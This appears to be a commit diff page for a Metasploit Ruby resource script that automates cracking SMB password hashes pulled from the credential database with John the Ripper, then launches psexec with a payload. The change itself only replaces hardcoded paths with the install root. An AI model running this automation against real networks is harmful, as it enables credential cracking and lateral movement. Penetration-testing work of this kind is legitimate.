changes in the path handling
parent
c0dd41f6ea
commit
ae3cf724c8
|
@ -8,10 +8,6 @@
|
|||
|
||||
|
||||
<ruby>
|
||||
#setting jtr path details:
|
||||
jtrbase = "/opt/metasploit4/apps/pro/msf3/data/john" # fix this - is there a easy way to get this path?!?
|
||||
jtrpath = "/opt/metasploit4/apps/pro/msf3/data/john" # fix this - is there a easy way to get this path?!?
|
||||
|
||||
#psexec needs a payload
|
||||
if framework.datastore['PAYLOAD']
|
||||
pload = framework.datastore['PAYLOAD']
|
||||
|
@ -60,8 +56,9 @@ framework.db.creds.each do |creds| # just checking if we have any smb_hashes in
|
|||
|
||||
print_line("using jtr_crack_fast")
|
||||
run_single("use auxiliary/analyze/jtr_crack_fast")
|
||||
run_single("set JOHN_BASE #{jtrbase}")
|
||||
run_single("set JOHN_PATH #{jtrpath}")
|
||||
# we use the info from Msf::Config.install_root and append the following path to it (thx to sinn3r)
|
||||
run_single("set JOHN_BASE #{Msf::Config.install_root}/data/john")
|
||||
run_single("set JOHN_PATH #{Msf::Config.install_root}/data/john")
|
||||
run_single("run -j")
|
||||
run_single("back")
|
||||
jotr = 0 # jtr modules tries to crack all smb_hashes from the db ... so we could leave it now
|
||||
|
@ -96,7 +93,6 @@ framework.db.creds.each do |creds| # just checking if we have any smb_hashes in
|
|||
end
|
||||
run_single("exploit -j -z")
|
||||
run_single("back")
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue